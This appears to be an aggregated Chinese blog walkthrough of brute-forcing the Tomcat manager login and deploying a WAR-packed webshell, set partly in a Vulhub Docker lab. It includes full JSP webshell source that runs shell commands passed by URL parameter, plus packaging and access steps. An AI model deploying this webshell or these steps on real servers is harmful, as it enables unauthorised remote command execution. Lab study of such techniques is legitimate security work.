Tomcat后台爆破+部署war马getshell

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Tomcat后台爆破+部署war马getshell相关的知识,希望对你有一定的参考价值。

参考技术A 在渗透测试中,我们经常遇到tomcat后台被默认部署在外部的情况
url形如: http://x.x.x.x/manager/html

在这种情况下,我们都会选择去爆破来进入后台部署shell

输入账号admin,密码123456进行抓包测试

这里它是一个401认证

在Tomcat后台登录的数据包中我们发现它会将输入的账号和密码都编码成Base64密文。

这里我们可以先采用Metasploit中的tomcat爆破辅助模块:

这里爆破失败了,不应该啊。。。
没关系,用burpsuite再来尝试

这里注意要取消url编码,因为字典里含有:

成功爆破进入后台
准备好一个jsp马,这里以冰蝎马为例,输入以下命令打包成war:

找到Tomcat管理页面中的WAR file to deploy进行上传就可以部署了。

应用列表已经出现了我们的目录:

访问文件名即可,冰蝎成功连接:

Tomcat弱口令GetShell

0x00 漏洞概述

Tomcat 支持后台部署.war 文件——可直接将 WebShell 部署到 web 目录下。访问后台的条件是用户具有相应权限。

war 包是用来进行 Web 开发时一个网站项目下的所有代码,包括前台 HTML/CSS/JS 代码,以及后台 JavaWeb 的代码。当开发人员开发完毕时,就会将源码打包给测试人员测试,测试完后若要发布则也会打包成 war 包进行发布。war 包可以放在 Tomcat 下的 webapps 或 work 目录,当 Tomcat 服务器启动时,war 包即会随之解压源代码来进行自动部署。

Tomcat 7+的权限有:

  • manager(后台管理)
    • manager-gui 拥有 html 页面权限
    • manager-status 拥有查看 status 的权限
    • manager-script 拥有 text 接口权限(包括 status 权限)
    • manager-jmx 拥有 jmx 权限(包括 status 权限)
  • host-manager(虚拟主机管理)
    • admin-gui 拥有 html 页面权限
    • admin-script 拥有 text 接口权限

这些配置位于conf/tomcat-users.xml中。正常安装情况下,Tomcat 8 中默认没有任何用户,且 manager 页面只允许本地 IP 访问。只有管理员手动修改了这些属性后才可能出现攻击机会。

0x01 靶机配置

仍旧使用镜像。

使用 Docker 自带命令行虽然比较朴素,但能够满足简单查看的需求。

可以看到弱口令用户 tomcat: tomcat,而且具有多项权限。

0x02 利用流程

访问靶机

Apache Tomcat/8.0.43。

Tomcat弱口令GetShell

弱口令登录

由于是实验,事先从 Docker 获取了弱口令账户。实战中就没这么方便,常常还需要权衡是否有爆破的必要。

找个地方登录,比如/manager/status:

Tomcat弱口令GetShell

好看:

Tomcat弱口令GetShell

传大马

做一个含口令的.jsp 大马:

<%
    if("thisispasswd".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[1024];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

将这个.jsp 压缩到.zip 文件中,并将后缀改为.war 即可上传。或者更为标准,使用命令

jar -cvf wdnmd.war wdnmd.jsp
Tomcat弱口令GetShell

点击 List Applications:

Tomcat弱口令GetShell

上传 war 包:

Tomcat弱口令GetShell

部署成功:

Tomcat弱口令GetShell

可以看到返回消息 OK,也新增了目录/wdnmd。

Get Shell

马的位置是/[war 包名]/[.jsp 文件名]。

利用成功!


以上是关于Tomcat后台爆破+部署war马getshell的主要内容,如果未能解决你的问题,请参考以下文章

Tomcat弱口令GetShell

Vulnhub-Tomcat

Tomcat后台弱口令Getshell

利用Metasploit破解Tomcat登录密码并通过部署war包获得Getshell实战

tomcat8+ 弱口令 && 后台getshell 漏洞复现

[漏洞复现] [Vulhub靶机] Tomcat7+ 弱口令 && 后台getshell漏洞